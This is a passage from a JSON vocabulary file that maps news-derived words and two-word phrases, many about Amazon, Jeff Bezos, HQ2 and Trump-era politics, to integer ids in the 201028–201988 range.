201028,\n  \"maximum internet\": 201029,\n  \"action oversight\": 201030,\n  \"agency cia\": 201031,\n  \"thinks google\": 201032,\n  \"chart shows\": 201033,\n  \"county amazon\": 201034,\n  \"fellow\": 201035,\n  \"total food\": 201036,\n  \"obviously zev\": 201037,\n  \"pay bumps\": 201038,\n  \"lower east\": 201039,\n  \"target cloud\": 201040,\n  \"riley feeling\": 201041,\n  \"potential jobs\": 201042,\n  \"willforthrill willforthrill\": 201043,\n  \"included congresswoman\": 201044,\n  \"lot worse\": 201045,\n  \"cuomo congestion\": 201046,\n  \"rosendale\": 201047,\n  \"wynn resigned\": 201048,\n  \"ponseca\": 201049,\n  \"posts visit\": 201050,\n  \"reinvested\": 201051,\n  \"include birthdays\": 201052,\n  \"owing\": 201053,\n  \"groups governor\": 201054,\n  \"discuss new\": 201055,\n  \"sheppard accepts\": 201056,\n  \"defrauding\": 201057,\n  \"report originally\": 201058,\n  \"eab pocket\": 201059,\n  \"square robert\": 201060,\n  \"rosy summer\": 201061,\n  \"wouldget\": 201062,\n  \"heads especially\": 201063,\n  \"ago washington\": 201064,\n  \"biller\": 201065,\n  \"seller community\": 201066,\n  \"doesin nutshell\": 201067,\n  \"time investigating\": 201068,\n  \"yujin\": 201069,\n  \"campaign contributions\": 201070,\n  \"celebrated barack\": 201071,\n  \"furniture warehouse\": 201072,\n  \"pivotal window\": 201073,\n  \"american discussion\": 201074,\n  \"cantankerous\": 201075,\n  \"income deduction\": 201076,\n  \"stalinist terms\": 201077,\n  \"toll jumps\": 201078,\n  \"fast sitting\": 201079,\n  \"prices just\": 201080,\n  \"considered particularly\": 201081,\n  \"result costco\": 201082,\n  \"fox book\": 201083,\n  \"attack nbc\": 201084,\n  \"performant\": 201085,\n  \"gross margin\": 201086,\n  \"sales jump\": 201087,\n  \"banlieues\": 201088,\n  \"storm amazon\": 201089,\n  \"neighborhoods voted\": 201090,\n  \"pursuedapple\": 201091,\n  \"congresswoman elect\": 201092,\n  \"ceo kevin\": 201093,\n  \"ami political\": 201094,\n  \"amazon ill\": 201095,\n  \"icann needed\": 201096,\n  \"just simply\": 201097,\n  \"1709\": 201098,\n  \"buster scruggs\": 201099,\n  \"week itep\": 201100,\n  \"recalls rome\": 201101,\n  \"problem embedded\": 201102,\n  \"staff waiting\": 201103,\n  \"insight\": 201104,\n  \"keanu reeves\": 201105,\n  \"interview amazon\": 201106,\n  \"181008212727\": 201107,\n  \"cap 106\": 201108,\n  \"illiquid investments\": 201109,\n  \"told investors\": 201110,\n  \"pitching tv\": 201111,\n  \"property protections\": 201112,\n  \"virginia analysts\": 201113,\n  \"creates real\": 201114,\n  \"broad array\": 201115,\n  \"domestic policies\": 201116,\n  \"drive housing\": 201117,\n  \"organize peacefully\": 201118,\n  \"bros connecticut\": 201119,\n  \"watching google\": 201120,\n  \"rift\": 201121,\n  \"tm social\": 201122,\n  \"justice division\": 201123,\n  \"alice guy\": 201124,\n  \"lets users\": 201125,\n  \"mean brand\": 201126,\n  \"supporter peter\": 201127,\n  \"good management\": 201128,\n  \"onion\": 201129,\n  \"luong\": 201130,\n  \"incarceration pushing\": 201131,\n  \"amazon salaries\": 201132,\n  \"gleefully reported\": 201133,\n  \"included buying\": 201134,\n  \"trump administrations\": 201135,\n  \"subsidized rates\": 201136,\n  \"banks including\": 201137,\n  \"mortal sabrina\": 201138,\n  \"mixed illinois\": 201139,\n  \"hq3\": 201140,\n  \"walmart tended\": 201141,\n  \"retailer carries\": 201142,\n  \"border wall\": 201143,\n  \"usps including\": 201144,\n  \"works yes\": 201145,\n  \"succeeds expect\": 201146,\n  \"barr reports\": 201147,\n  \"federal deportation\": 201148,\n  \"line mody\": 201149,\n  \"strife kept\": 201150,\n  \"lisota inspired\": 201151,\n  \"investment projects\": 201152,\n  \"flying 000\": 201153,\n  \"hap trading\": 201154,\n  \"writedown\": 201155,\n  \"2020 democrats\": 201156,\n  \"sentence marching\": 201157,\n  \"marriage tmz\": 201158,\n  \"mysteriously sourced\": 201159,\n  \"day began\": 201160,\n  \"splashing\": 201161,\n  \"dish served\": 201162,\n  \"violations vestager\": 201163,\n  \"retaliatory tariffs\": 201164,\n  \"gabriella gershenson\": 201165,\n  \"foreign country\": 201166,\n  \"theft forced\": 201167,\n  \"make history\": 201168,\n  \"enters\": 201169,\n  \"prosecutorial narrative\": 201170,\n  \"voting worker\": 201171,\n  \"existing tech\": 201172,\n  \"house aide\": 201173,\n  \"hottest new\": 201174,\n  \"justice releases\": 201175,\n  \"johnson johnson\": 201176,\n  \"americans makes\": 201177,\n  \"cci\": 201178,\n  \"trump earliest\": 201179,\n  \"book launch\": 201180,\n  \"internet freedom\": 201181,\n  \"investors led\": 201182,\n  \"getting half\": 201183,\n  \"outlaws\": 201184,\n  \"reassurance\": 201185,\n  \"guinness guinness\": 201186,\n  \"wrong imagine\": 201187,\n  \"cary\": 201188,\n  \"lava bomb\": 201189,\n  \"release united\": 201190,\n  \"sown\": 201191,\n  \"california firefighters\": 201192,\n  \"prime suspect\": 201193,\n  \"research manager\": 201194,\n  \"xl moto\": 201195,\n  \"typically does\": 201196,\n  \"residents including\": 201197,\n  \"stack rings\": 201198,\n  \"cocktail\": 201199,\n  \"council says\": 201200,\n  \"bloomberg donald\": 201201,\n  \"perfect quick\": 201202,\n  \"8217 robust\": 201203,\n  \"protections\": 201204,\n  \"book weekly\": 201205,\n  \"visit bizjournals\": 201206,\n  \"t5khpuugfj jeremy\": 201207,\n  \"saving florida\": 201208,\n  \"stop shopping\": 201209,\n  \"hots fly\": 201210,\n  \"priesthood\": 201211,\n  \"amzn 918\": 201212,\n  \"owned nearly\": 201213,\n  \"1600\": 201214,\n  \"turned away\": 201215,\n  \"trump whitehouse\": 201216,\n  \"c4e removeeventlistener\": 201217,\n  \"graham bipartisan\": 201218,\n  \"shipment olsavsky\": 201219,\n  \"salesforce says\": 201220,\n  \"deutsch warned\": 201221,\n  \"seattle local\": 201222,\n  \"self righteousness\": 201223,\n  \"industrials\": 201224,\n  \"amazon redfin\": 201225,\n  \"tip\": 201226,\n  \"leaked text\": 201227,\n  \"marianne power\": 201228,\n  \"really taken\": 201229,\n  \"sears stores\": 201230,\n  \"cnn hatred\": 201231,\n  \"point walking\": 201232,\n  \"designated postal\": 201233,\n  \"weekend program\": 201234,\n  \"single fulfillment\": 201235,\n  \"pecker 146e3922310f\": 201236,\n  \"data does\": 201237,\n  \"voice activated\": 201238,\n  \"abigail\": 201239,\n  \"android phones\": 201240,\n  \"search impeach\": 201241,\n  \"prefers\": 201242,\n  \"prosecutorial investigations\": 201243,\n  \"appease\": 201244,\n  \"advertising amazon\": 201245,\n  \"book burning\": 201246,\n  \"iranian\": 201247,\n  \"hbo jennifer\": 201248,\n  \"frightening\": 201249,\n  \"distribution centers\": 201250,\n  \"service undercharges\": 201251,\n  \"mississippi development\": 201252,\n  \"fivethirtyeight\": 201253,\n  \"better candidate\": 201254,\n  \"dawsey fake\": 201255,\n  \"matt hassett\": 201256,\n  \"dealing\": 201257,\n  \"week bezos\": 201258,\n  \"lose lot\": 201259,\n  \"charcater wiggles\": 201260,\n  \"maga coffee\": 201261,\n  \"raising 000\": 201262,\n  \"news ingraham\": 201263,\n  \"ends higher\": 201264,\n  \"past couple\": 201265,\n  \"major players\": 201266,\n  \"link domain\": 201267,\n  \"constant scrutiny\": 201268,\n  \"grub\": 201269,\n  \"turkish stocks\": 201270,\n  \"union shop\": 201271,\n  \"kroger subway\": 201272,\n  \"surge mcdowell\": 201273,\n  \"good\": 201274,\n  \"false claims\": 201275,\n  \"moon 2018\": 201276,\n  \"lexology\": 201277,\n  \"intervention\": 201278,\n  \"relationship relationship\": 201279,\n  \"face new\": 201280,\n  \"largest\": 201281,\n  \"company social\": 201282,\n  \"english\": 201283,\n  \"combusted surefire\": 201284,\n  \"dramatically slowed\": 201285,\n  \"listings\": 201286,\n  \"80s\": 201287,\n  \"stomped competition\": 201288,\n  \"ordinary americans\": 201289,\n  \"fedex hundreds\": 201290,\n  \"prevent future\": 201291,\n  \"pick culminated\": 201292,\n  \"dominant mobile\": 201293,\n  \"ads midterms\": 201294,\n  \"generous\": 201295,\n  \"lago\": 201296,\n  \"talks meghan\": 201297,\n  \"stye photo\": 201298,\n  \"current rate\": 201299,\n  \"techs fell\": 201300,\n  \"nether\": 201301,\n  \"forgo\": 201302,\n  \"spy cloud\": 201303,\n  \"obsessive rich\": 201304,\n  \"invest money\": 201305,\n  \"press wine\": 201306,\n  \"original pledge\": 201307,\n  \"boulder cool\": 201308,\n  \"tape oscars\": 201309,\n  \"host right\": 201310,\n  \"built headquarters\": 201311,\n  \"defends mueller\": 201312,\n  \"honeymoon\": 201313,\n  \"legal safeguards\": 201314,\n  \"solid evidence\": 201315,\n  \"major boosts\": 201316,\n  \"unbeatable prices\": 201317,\n  \"republican strategist\": 201318,\n  \"ice samantha\": 201319,\n  \"questioned russian\": 201320,\n  \"employers 2019\": 201321,\n  \"process amazon\": 201322,\n  \"investigations specifically\": 201323,\n  \"justin stebbing\": 201324,\n  \"maxwell watts\": 201325,\n  \"gonzalez ripping\": 201326,\n  \"elsea\": 201327,\n  \"logistics agency\": 201328,\n  \"image west\": 201329,\n  \"indigenous brazilians\": 201330,\n  \"berlin farrar\": 201331,\n  \"director jacinta\": 201332,\n  \"products services\": 201333,\n  \"promotion definitely\": 201334,\n  \"howmuchcanwelosethisyear\": 201335,\n  \"big incentive\": 201336,\n  \"japan buzz60\": 201337,\n  \"personal income\": 201338,\n  \"2020 tough\": 201339,\n  \"full_report\": 201340,\n  \"forest scientists\": 201341,\n  \"hearings showcase\": 201342,\n  \"political storm\": 201343,\n  \"premiere\": 201344,\n  \"workers india\": 201345,\n  \"hit avalon\": 201346,\n  \"regarding trump\": 201347,\n  \"conscious uncoupling\": 201348,\n  \"actually run\": 201349,\n  \"antitrust issues\": 201350,\n  \"weeks assemblyman\": 201351,\n  \"lobby opposes\": 201352,\n  \"dustup related\": 201353,\n  \"carney senior\": 201354,\n  \"terms saying\": 201355,\n  \"eventually win\": 201356,\n  \"houston chemical\": 201357,\n  \"216657 market\": 201358,\n  \"wars meet\": 201359,\n  \"abortions illinois\": 201360,\n  \"similar accusations\": 201361,\n  \"reported company\": 201362,\n  \"scars\": 201363,\n  \"industry man\": 201364,\n  \"candidate pool\": 201365,\n  \"james fallows\": 201366,\n  \"adulterous pussy\": 201367,\n  \"fuzzy democratic\": 201368,\n  \"dopp sink\": 201369,\n  \"governmental purchases\": 201370,\n  \"mycio wealth\": 201371,\n  \"tech liberal\": 201372,\n  \"efficient means\": 201373,\n  \"harassing black\": 201374,\n  \"amazon assaults\": 201375,\n  \"echos graham\": 201376,\n  \"author ray\": 201377,\n  \"air media\": 201378,\n  \"tech dominance\": 201379,\n  \"offensive content\": 201380,\n  \"powers plus\": 201381,\n  \"months salary\": 201382,\n  \"orig\": 201383,\n  \"amazon shoppers\": 201384,\n  \"man child\": 201385,\n  \"year click\": 201386,\n  \"disdain\": 201387,\n  \"workers justice\": 201388,\n  \"dovey\": 201389,\n  \"4x\": 201390,\n  \"act includes\": 201391,\n  \"jarrett evan\": 201392,\n  \"providing valuable\": 201393,\n  \"jedi bears\": 201394,\n  \"bayside\": 201395,\n  \"app preview\": 201396,\n  \"couple pegs\": 201397,\n  \"nflx nasa\": 201398,\n  \"owner bezos\": 201399,\n  \"jeff coltin\": 201400,\n  \"retired generals\": 201401,\n  \"decline\": 201402,\n  \"vista 1336\": 201403,\n  \"delivery feature\": 201404,\n  \"accounts weren\": 201405,\n  \"stop hackers\": 201406,\n  \"bogeyman\": 201407,\n  \"star line\": 201408,\n  \"europe economic\": 201409,\n  \"longer version\": 201410,\n  \"typeof window\": 201411,\n  \"2018q4 regulatory\": 201412,\n  \"brazil entered\": 201413,\n  \"simpsons hannah\": 201414,\n  \"undefined cnn\": 201415,\n  \"helps retailers\": 201416,\n  \"scale\": 201417,\n  \"cis explained\": 201418,\n  \"commercial farming\": 201419,\n  \"tony fletcher\": 201420,\n  \"alcindor shawna\": 201421,\n  \"committee outdated\": 201422,\n  \"newspaper strike\": 201423,\n  \"potential contractors\": 201424,\n  \"amazon slashed\": 201425,\n  \"undeclared missile\": 201426,\n  \"schoolers\": 201427,\n  \"woman prone\": 201428,\n  \"cardi actor\": 201429,\n  \"argues new\": 201430,\n  \"doesn shut\": 201431,\n  \"school prof\": 201432,\n  \"issue free\": 201433,\n  \"robertbryan4\": 201434,\n  \"awaiting guidance\": 201435,\n  \"company stake\": 201436,\n  \"current expansion\": 201437,\n  \"ness begets\": 201438,\n  \"bois jon_bois\": 201439,\n  \"officials argue\": 201440,\n  \"lendio\": 201441,\n  \"possession dylan\": 201442,\n  \"overwhelmingly endorsing\": 201443,\n  \"owns privately\": 201444,\n  \"administration cites\": 201445,\n  \"net michael\": 201446,\n  \"trump vented\": 201447,\n  \"new city\": 201448,\n  \"behalf killing\": 201449,\n  \"evan\": 201450,\n  \"profitability read\": 201451,\n  \"labs flatiron\": 201452,\n  \"pharmaceutical wholesalers\": 201453,\n  \"information published\": 201454,\n  \"surprisingly decent\": 201455,\n  \"zones html\": 201456,\n  \"house ivanka\": 201457,\n  \"offer flexibility\": 201458,\n  \"question does\": 201459,\n  \"poirier program\": 201460,\n  \"make bid\": 201461,\n  \"engineering problem\": 201462,\n  \"officials played\": 201463,\n  \"ulcers\": 201464,\n  \"farming town\": 201465,\n  \"floor protestors\": 201466,\n  \"float cbs\": 201467,\n  \"r4ee u9e\": 201468,\n  \"house residence\": 201469,\n  \"easy task\": 201470,\n  \"self reliance\": 201471,\n  \"eric lipton\": 201472,\n  \"benefits structure\": 201473,\n  \"andrew coonsdem\": 201474,\n  \"favorably according\": 201475,\n  \"china rich\": 201476,\n  \"unless new\": 201477,\n  \"political atmosphere\": 201478,\n  \"istandwithtrump pic\": 201479,\n  \"hills taking\": 201480,\n  \"magento\": 201481,\n  \"albany sister\": 201482,\n  \"decorating\": 201483,\n  \"tension mounts\": 201484,\n  \"terrible amazon\": 201485,\n  \"alibaba iqiyi\": 201486,\n  \"magazine great\": 201487,\n  \"demand explaining\": 201488,\n  \"shifting\": 201489,\n  \"inc_homepage_lineline inc_homepage_headline_ab_test\": 201490,\n  \"trump author\": 201491,\n  \"market afp\": 201492,\n  \"transfer ebt\": 201493,\n  \"trump html\": 201494,\n  \"learning fryer\": 201495,\n  \"amid weakening\": 201496,\n  \"misspelled flyer\": 201497,\n  \"amazon lottery\": 201498,\n  \"comex close\": 201499,\n  \"looks set\": 201500,\n  \"lawless sent\": 201501,\n  \"constantly seizes\": 201502,\n  \"invest 130m\": 201503,\n  \"raised similar\": 201504,\n  \"pomerantz\": 201505,\n  \"2005 matt\": 201506,\n  \"maine democrat\": 201507,\n  \"reuters fedex\": 201508,\n  \"johnson\": 201509,\n  \"group pen\": 201510,\n  \"pick atlantic\": 201511,\n  \"cnn oliver\": 201512,\n  \"reporter clare\": 201513,\n  \"quite conservative\": 201514,\n  \"landlords 1539185302\": 201515,\n  \"pornography offensive\": 201516,\n  \"juliehirschfeld\": 201517,\n  \"clinton bartiromo\": 201518,\n  \"limiting amendment\": 201519,\n  \"small\": 201520,\n  \"coverage andthat\": 201521,\n  \"state right\": 201522,\n  \"bell butsign\": 201523,\n  \"constitution victory\": 201524,\n  \"video files\": 201525,\n  \"taxpayers wouldn\": 201526,\n  \"dennis slattery\": 201527,\n  \"enjoyed banner\": 201528,\n  \"deal hails\": 201529,\n  \"georgia usa\": 201530,\n  \"agency continues\": 201531,\n  \"cars virtual\": 201532,\n  \"665 shares\": 201533,\n  \"prue experts\": 201534,\n  \"hope trump\": 201535,\n  \"seasons jack\": 201536,\n  \"marginal income\": 201537,\n  \"liebert 2018\": 201538,\n  \"creates engagement\": 201539,\n  \"medicaid added\": 201540,\n  \"levying\": 201541,\n  \"says criticism\": 201542,\n  \"amazon share\": 201543,\n  \"contract certainly\": 201544,\n  \"ateurobiz\": 201545,\n  \"ugg\": 201546,\n  \"jon hammond\": 201547,\n  \"amazon finds\": 201548,\n  \"misses estimates\": 201549,\n  \"ranch\": 201550,\n  \"d1 a4ee\": 201551,\n  \"enables victims\": 201552,\n  \"hefty sum\": 201553,\n  \"wxzv uu9ssaa17kk3\": 201554,\n  \"boob\": 201555,\n  \"a303\": 201556,\n  \"regularly antagonizes\": 201557,\n  \"falling branches\": 201558,\n  \"frequently taking\": 201559,\n  \"modest compared\": 201560,\n  \"bezos reuters\": 201561,\n  \"breakdowns\": 201562,\n  \"conventions\": 201563,\n  \"streaming subscriber\": 201564,\n  \"payments probably\": 201565,\n  \"long time\": 201566,\n  \"analyst jeffrey\": 201567,\n  \"infrastructure services\": 201568,\n  \"legislative body\": 201569,\n  \"decade worth\": 201570,\n  \"color markey\": 201571,\n  \"bin\": 201572,\n  \"fsoc fed\": 201573,\n  \"costa county\": 201574,\n  \"arrival\": 201575,\n  \"exg54imyko\": 201576,\n  \"surpassing 1tn\": 201577,\n  \"rush turned\": 201578,\n  \"disturbingly\": 201579,\n  \"lawmaker\": 201580,\n  \"providing property\": 201581,\n  \"boss comey\": 201582,\n  \"initial reaction\": 201583,\n  \"saudi connection\": 201584,\n  \"hollen md\": 201585,\n  \"national intelligence\": 201586,\n  \"sharon stone\": 201587,\n  \"2018 whitney\": 201588,\n  \"commercial bezos\": 201589,\n  \"fatima farheen\": 201590,\n  \"npr house\": 201591,\n  \"department work\": 201592,\n  \"jobs 150\": 201593,\n  \"growing nearly\": 201594,\n  \"maxx parent\": 201595,\n  \"office belongs\": 201596,\n  \"deliver parcel\": 201597,\n  \"republican agent\": 201598,\n  \"computing amazon\": 201599,\n  \"says dryden\": 201600,\n  \"politics database\": 201601,\n  \"lands arming\": 201602,\n  \"sorrell turned\": 201603,\n  \"new jobs\": 201604,\n  \"riding bicycle\": 201605,\n  \"foot stores\": 201606,\n  \"health problems\": 201607,\n  \"7083a\": 201608,\n  \"sunset\": 201609,\n  \"sales metrics\": 201610,\n  \"term success\": 201611,\n  \"ians\": 201612,\n  \"park operator\": 201613,\n  \"entity ami\": 201614,\n  \"centric business\": 201615,\n  \"issued story\": 201616,\n  \"gender transition\": 201617,\n  \"make living\": 201618,\n  \"rickards high\": 201619,\n  \"setinterval\": 201620,\n  \"reach americans\": 201621,\n  \"feeney consumer\": 201622,\n  \"children crying\": 201623,\n  \"statement rare\": 201624,\n  \"home bezos\": 201625,\n  \"wall turned\": 201626,\n  \"slides demonstrating\": 201627,\n  \"reveal inhumane\": 201628,\n  \"great sock\": 201629,\n  \"great newspaper\": 201630,\n  \"affair turns\": 201631,\n  \"tv antenna\": 201632,\n  \"boundaries\": 201633,\n  \"rocket trail\": 201634,\n  \"invent 2018\": 201635,\n  \"article37005968\": 201636,\n  \"farfetched\": 201637,\n  \"democrats sizable\": 201638,\n  \"forces reckoning\": 201639,\n  \"digital infrastructure\": 201640,\n  \"ranking\": 201641,\n  \"marc chandler\": 201642,\n  \"ceo robyn\": 201643,\n  \"information hierarchies\": 201644,\n  \"described pattern\": 201645,\n  \"counters\": 201646,\n  \"aspirational beauty\": 201647,\n  \"actually possess\": 201648,\n  \"investigation minutes\": 201649,\n  \"fraud prevention\": 201650,\n  \"bring gun\": 201651,\n  \"safety\": 201652,\n  \"popular online\": 201653,\n  \"fishing mechanisms\": 201654,\n  \"glor 08m\": 201655,\n  \"rick holgate\": 201656,\n  \"caper\": 201657,\n  \"refugees\": 201658,\n  \"liberal voters\": 201659,\n  \"gadgets baby\": 201660,\n  \"netflix animated\": 201661,\n  \"lagging\": 201662,\n  \"process added\": 201663,\n  \"controversial new\": 201664,\n  \"news cameras\": 201665,\n  \"corporate confirmed\": 201666,\n  \"launched similar\": 201667,\n  \"current monitor\": 201668,\n  \"platform utilities\": 201669,\n  \"friend looking\": 201670,\n  \"school handled\": 201671,\n  \"investigations going\": 201672,\n  \"hq5\": 201673,\n  \"visa recommended\": 201674,\n  \"supporters join\": 201675,\n  \"cortez stand\": 201676,\n  \"exclusive stuff\": 201677,\n  \"comments taiwan\": 201678,\n  \"b06xh7krkl\": 201679,\n  \"varner\": 201680,\n  \"attorneygeneral\": 201681,\n  \"cycle cohen\": 201682,\n  \"255 points\": 201683,\n  \"decades gawande\": 201684,\n  \"tumblr\": 201685,\n  \"internet industry\": 201686,\n  \"living life\": 201687,\n  \"year jolley\": 201688,\n  \"prices stabilize\": 201689,\n  \"lottery winners\": 201690,\n  \"big apple\": 201691,\n  \"newspaper fake\": 201692,\n  \"jurisdictions subsidized\": 201693,\n  \"constantly sat\": 201694,\n  \"negative tweet\": 201695,\n  \"trevino\": 201696,\n  \"combined tax\": 201697,\n  \"sanchez cell\": 201698,\n  \"gary\": 201699,\n  \"pay lower\": 201700,\n  \"safety picks\": 201701,\n  \"litigation related\": 201702,\n  \"publicly theorized\": 201703,\n  \"3s\": 201704,\n  \"troubles\": 201705,\n  \"reuters france\": 201706,\n  \"fact costing\": 201707,\n  \"simply blowing\": 201708,\n  \"times 2019\": 201709,\n  \"polar ideological\": 201710,\n  \"amazon mommy\": 201711,\n  \"metadata__show isshowdetailsspanexists\": 201712,\n  \"markle honeymooning\": 201713,\n  \"managers sent\": 201714,\n  \"blackmailing celebrities\": 201715,\n  \"van sales\": 201716,\n  \"ftc wants\": 201717,\n  \"seriously considering\": 201718,\n  \"bezos firm\": 201719,\n  \"slash claw\": 201720,\n  \"great sound\": 201721,\n  \"circulated online\": 201722,\n  \"uber cutthroat\": 201723,\n  \"michel temer\": 201724,\n  \"quote stuck\": 201725,\n  \"power telephone\": 201726,\n  \"comgest\": 201727,\n  \"russians wanted\": 201728,\n  \"including termination\": 201729,\n  \"negative quote\": 201730,\n  \"rusal\": 201731,\n  \"king author\": 201732,\n  \"traditional criteria\": 201733,\n  \"dan good\": 201734,\n  \"moessinger\": 201735,\n  \"fat bonuses\": 201736,\n  \"housekeeper\": 201737,\n  \"grizzlies\": 201738,\n  \"ex amazon\": 201739,\n  \"bundo\": 201740,\n  \"disappointing quarterly\": 201741,\n  \"man ego\": 201742,\n  \"questionable advertising\": 201743,\n  \"img_reference_name getty_173218731_200015422000928060\": 201744,\n  \"cartel cases\": 201745,\n  \"political including\": 201746,\n  \"significantly stricter\": 201747,\n  \"reads children\": 201748,\n  \"high risk\": 201749,\n  \"ryan foto\": 201750,\n  \"positive\": 201751,\n  \"165 000\": 201752,\n  \"cincyinsights recently\": 201753,\n  \"advertising recently\": 201754,\n  \"asia japan\": 201755,\n  \"nytimes \\u0645\\u0646\\u0634\\u0646\\u062a\\u0647\\u0645\": 201756,\n  \"cap stands\": 201757,\n  \"anybody pay\": 201758,\n  \"divorce jeff\": 201759,\n  \"help pinpoint\": 201760,\n  \"enquirer did\": 201761,\n  \"senior aide\": 201762,\n  \"conference new\": 201763,\n  \"ta cities\": 201764,\n  \"warning shot\": 201765,\n  \"undocumented migrants\": 201766,\n  \"king careful\": 201767,\n  \"vacant\": 201768,\n  \"spelling math\": 201769,\n  \"leading party\": 201770,\n  \"multi country\": 201771,\n  \"monitoring service\": 201772,\n  \"dad brought\": 201773,\n  \"ami led\": 201774,\n  \"premise product\": 201775,\n  \"free streaming\": 201776,\n  \"local weather\": 201777,\n  \"security contracts\": 201778,\n  \"products direct\": 201779,\n  \"640 000\": 201780,\n  \"beast detailed\": 201781,\n  \"mothra\": 201782,\n  \"competing commerce\": 201783,\n  \"avon ladies\": 201784,\n  \"affairs image\": 201785,\n  \"slogan remained\": 201786,\n  \"home spain\": 201787,\n  \"bible\": 201788,\n  \"security company\": 201789,\n  \"support hq2\": 201790,\n  \"evolution story\": 201791,\n  \"high union\": 201792,\n  \"constitutional amendments\": 201793,\n  \"island amazon\": 201794,\n  \"correspondent bidders\": 201795,\n  \"faced liability\": 201796,\n  \"biggest commodity\": 201797,\n  \"driverless construction\": 201798,\n  \"potential presidents\": 201799,\n  \"right nationalists\": 201800,\n  \"mark gongloff\": 201801,\n  \"commerce having\": 201802,\n  \"sanctions helped\": 201803,\n  \"trump mushrooming\": 201804,\n  \"ball privatizers\": 201805,\n  \"rip party\": 201806,\n  \"billion compared\": 201807,\n  \"migraine drug\": 201808,\n  \"cortez lashes\": 201809,\n  \"desirable parts\": 201810,\n  \"openings workers\": 201811,\n  \"working parents\": 201812,\n  \"function presents\": 201813,\n  \"area reports\": 201814,\n  \"overwhelmed\": 201815,\n  \"alongside cloud\": 201816,\n  \"derisory\": 201817,\n  \"subsidiary flipkart\": 201818,\n  \"matt wuerker\": 201819,\n  \"employees disagree\": 201820,\n  \"zuckerberg passed\": 201821,\n  \"trump averts\": 201822,\n  \"techcalendar\": 201823,\n  \"montrealgazette\": 201824,\n  \"superiors\": 201825,\n  \"stay immune\": 201826,\n  \"information regarding\": 201827,\n  \"2017 convicted\": 201828,\n  \"reed nonviolent\": 201829,\n  \"ceo criticizes\": 201830,\n  \"comment iran\": 201831,\n  \"favored firm\": 201832,\n  \"media romney\": 201833,\n  \"28th annual\": 201834,\n  \"juggling\": 201835,\n  \"reuters foundation\": 201836,\n  \"giant pulled\": 201837,\n  \"tournament using\": 201838,\n  \"lenovo group\": 201839,\n  \"tandy bowen\": 201840,\n  \"taking amazon\": 201841,\n  \"amazonia\": 201842,\n  \"news cbsnews\": 201843,\n  \"president called\": 201844,\n  \"royce ceo\": 201845,\n  \"medicaid plan\": 201846,\n  \"820\": 201847,\n  \"mail boxes\": 201848,\n  \"make loss\": 201849,\n  \"seasons\": 201850,\n  \"china micron\": 201851,\n  \"styles\": 201852,\n  \"performance professional\": 201853,\n  \"moret chief\": 201854,\n  \"effort savino\": 201855,\n  \"president political\": 201856,\n  \"crisis effectively\": 201857,\n  \"hardly level\": 201858,\n  \"yesterday withdrawal\": 201859,\n  \"reveal compromising\": 201860,\n  \"county officials\": 201861,\n  \"bain\": 201862,\n  \"brings word\": 201863,\n  \"healthy working\": 201864,\n  \"provincial\": 201865,\n  \"griffeth walgreens\": 201866,\n  \"wealthiest companies\": 201867,\n  \"populists\": 201868,\n  \"story roku\": 201869,\n  \"amazon resistance\": 201870,\n  \"verge\": 201871,\n  \"ben bernanke\": 201872,\n  \"abortion remain\": 201873,\n  \"founders intended\": 201874,\n  \"index benchmarks\": 201875,\n  \"mattis hired\": 201876,\n  \"tip toed\": 201877,\n  \"mcmafia\": 201878,\n  \"potus twitter\": 201879,\n  \"shifts wealth\": 201880,\n  \"spats\": 201881,\n  \"american firms\": 201882,\n  \"colossus\": 201883,\n  \"pharmacist\": 201884,\n  \"73rd\": 201885,\n  \"election bezos\": 201886,\n  \"penney toys\": 201887,\n  \"early 90s\": 201888,\n  \"iran sanctions\": 201889,\n  \"stock increased\": 201890,\n  \"hearth hound\": 201891,\n  \"fb emarkter\": 201892,\n  \"weld launching\": 201893,\n  \"advocacy\": 201894,\n  \"value shares\": 201895,\n  \"tackles broken\": 201896,\n  \"cheap white\": 201897,\n  \"day streak\": 201898,\n  \"ordinarily attract\": 201899,\n  \"witcher\": 201900,\n  \"everybody going\": 201901,\n  \"need amazon\": 201902,\n  \"friends stephen\": 201903,\n  \"labor obsessed\": 201904,\n  \"package tsa\": 201905,\n  \"felonies\": 201906,\n  \"star tommie\": 201907,\n  \"fervently devoting\": 201908,\n  \"showindex\": 201909,\n  \"trump initially\": 201910,\n  \"competition clearly\": 201911,\n  \"amazon gained\": 201912,\n  \"bad behavior\": 201913,\n  \"proposed rate\": 201914,\n  \"strapped couples\": 201915,\n  \"imaginable good\": 201916,\n  \"created regulatory\": 201917,\n  \"vessels\": 201918,\n  \"westerner appointed\": 201919,\n  \"finance nearly\": 201920,\n  \"global window\": 201921,\n  \"amazon emphasizes\": 201922,\n  \"did ronald\": 201923,\n  \"lost president\": 201924,\n  \"career interior\": 201925,\n  \"faux iphone\": 201926,\n  \"focus squarely\": 201927,\n  \"reactid 159\": 201928,\n  \"protect trump\": 201929,\n  \"program promises\": 201930,\n  \"outfitting package\": 201931,\n  \"scarborough noted\": 201932,\n  \"pivotal\": 201933,\n  \"developers certainly\": 201934,\n  \"election offers\": 201935,\n  \"cements northern\": 201936,\n  \"greenwald proclaimed\": 201937,\n  \"popular news\": 201938,\n  \"omero patrick\": 201939,\n  \"devices right\": 201940,\n  \"wait finally\": 201941,\n  \"peter iwanowicz\": 201942,\n  \"understanding chinese\": 201943,\n  \"919 million\": 201944,\n  \"test alert\": 201945,\n  \"laboring\": 201946,\n  \"munduruku agribusiness\": 201947,\n  \"term financial\": 201948,\n  \"invaded destroy\": 201949,\n  \"leads today\": 201950,\n  \"gi normous\": 201951,\n  \"political economist\": 201952,\n  \"baby onsies\": 201953,\n  \"railroad construction\": 201954,\n  \"attacked sadiq\": 201955,\n  \"jobs set\": 201956,\n  \"alley\": 201957,\n  \"specific contractor\": 201958,\n  \"bank holds\": 201959,\n  \"cortez office\": 201960,\n  \"coons interview\": 201961,\n  \"criticism explaining\": 201962,\n  \"stories bezos\": 201963,\n  \"identify inauthentic\": 201964,\n  \"hydrating\": 201965,\n  \"manipulation\": 201966,\n  \"efe brazil\": 201967,\n  \"billion headquarters\": 201968,\n  \"territory interestingly\": 201969,\n  \"world fourth\": 201970,\n  \"ross business\": 201971,\n  \"order platform\": 201972,\n  \"introduction mueller\": 201973,\n  \"ira curious\": 201974,\n  \"employees signed\": 201975,\n  \"t5 void\": 201976,\n  \"google bias\": 201977,\n  \"internet registries\": 201978,\n  \"truthfulness\": 201979,\n  \"everett eissenstat\": 201980,\n  \"blackburn\": 201981,\n  \"make long\": 201982,\n  \"radar big\": 201983,\n  \"hate trump\": 201984,\n  \"diesearch\": 201985,\n  \"rider shoplifters\": 201986,\n  \"billion haven\": 201987,\n  \"ballooning\": 201988,\n  \"campaign donations\": 